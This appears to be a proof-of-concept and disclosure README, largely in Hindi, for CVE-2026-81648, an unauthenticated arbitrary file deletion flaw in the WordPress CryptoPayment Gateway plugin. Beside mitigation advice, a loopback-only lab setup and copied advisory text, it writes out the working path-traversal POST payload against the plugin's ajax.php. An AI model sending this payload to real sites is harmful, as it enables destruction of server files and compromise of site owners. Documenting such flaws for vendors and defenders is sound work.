
CVE-2026-81648 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट और लैब, जो WordPress CryptoPayment Gateway प्लगइन में एक अनधिकृत मनमानी फ़ाइल विलोपन दोष है।
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-81648
WordPress — CryptoPayment Gateway 1.2.2 — Granwill
CryptoPayment Gateway WordPress प्लगइन 1.2.1 से 1.2.2 तक अपने एक AJAX endpoint पर authorization check लागू नहीं करता, जिससे unauthenticated उपयोगकर्ता administrative operations को invoke कर सकते हैं, जिनमें सर्वर पर मनमानी फ़ाइलें हटाना, payment gateway configuration को overwrite करना और संग्रहीत wallet credentials को cleartext में recover करना शामिल है।
| CVE | CVE-2026-81648 · CVE.org |
| CWE | CWE-862 |
| CVSS | Critical: 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Product | WordPress — CryptoPayment Gateway |
| Affected | 1.2.1–1.2.2 |
| Patched | कोई public patch नहीं (WPScan: कोई ज्ञात fix नहीं) |
| Auth | कोई नहीं (source map देखें) |
| License | GNU Affero GPL v3.0 |
| Lab | केवल 127.0.0.1 · vendor/client disclosure pack, scanner नहीं |
cryptd/ajax.php पर delete-file ही sink है। HTTP वही PHP फ़ाइल है, admin-ajax.php नहीं।
POST/wp-content/plugins/cryptopayment-gateway/vendor/cryptd/ajax.phpGET /wp-content/poc81648/index.php expect POCWitness81648POST ajax.php data={"function":"delete-file","file_name":"../../../../../poc81648/index.php","folder":""}crpay_file_delete unlinks wp-content/poc81648/index.phpGET witness URL no POCWitness81648POST से पहले POCWitness81648 मौजूद, बाद में अनुपस्थित। delete के बिना JSON success यह नहीं है।
पहले यह करें: कोई public patch नहीं है। vendor release आने तक CryptoPayment Gateway को disable करें या vendor/cryptd/ajax.php को block करें।
Upgrade के बाद सत्यापित करें
CVE-2026-81648-Abraxas-Labs.py दोबारा चलाएँ: mapped witness नहीं दिखना चाहिए।यदि आप तुरंत update नहीं कर सकते
लक्ष्य केवल http://127.0.0.1:8088 (या जो loopback आपने bind किया है)। इस script को internet पर न लक्षित करें।
python3 CVE-2026-81648-Abraxas-Labs.py
सफलता response body में ऊपर दिया गया witness है। सामान्य 200 HTML यह नहीं है।
Reproduce करने के लिए उपयोग किया गया loopback stack। Official images, जब तक इस folder में कोई Dockerfile source से build न करे।
cd lab
docker compose up --force-recreate
यदि YAML कोई local directory mount करता है (version table से plugin zip / source tag) तो vulnerable product tree को Compose के पास bind करें। 127.0.0.1 के अलावा कुछ publish न करें।
# CVE-2026-81648 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-81648`
- CWE: CWE-862
- published: 2026-09-13T21:17:01.930
## NVD description
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
## MITRE description
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
## Affected
- Unknown CryptoPayment Gateway 1.2.1 affected
## References (JSON sources only)
- https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898/
- https://github.com/advisories/GHSA-9r3q-6qw8-8pm7
- https://nvd.nist.gov/vuln/detail/CVE-2026-81648
- https://wpscan.com/vulnerability/9b1490a0-1381-4d22-8086-f75aade4e898
## GitHub advisory
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization...
The CryptoPayment Gateway WordPress plugin from 1.2.1 to 1.2.2 does not apply an authorization check on one of its AJAX endpoints, allowing unauthenticated users to invoke administrative operations, including deleting arbitrary files on the server, overwriting the payment gateway configuration and recovering stored wallet credentials in cleartext.
यह disclosure pack GNU Affero General Public License v3.0 के अंतर्गत लाइसेंस प्राप्त है। LICENSE देखें।
यह pack vendor, site owner और licensed labs के लिए है। Script 127.0.0.1 से बात करता है। जिन systems के आप owner नहीं हैं उनके विरुद्ध इसका उपयोग Abraxas Labs द्वारा authorized नहीं है। कोई warranty नहीं।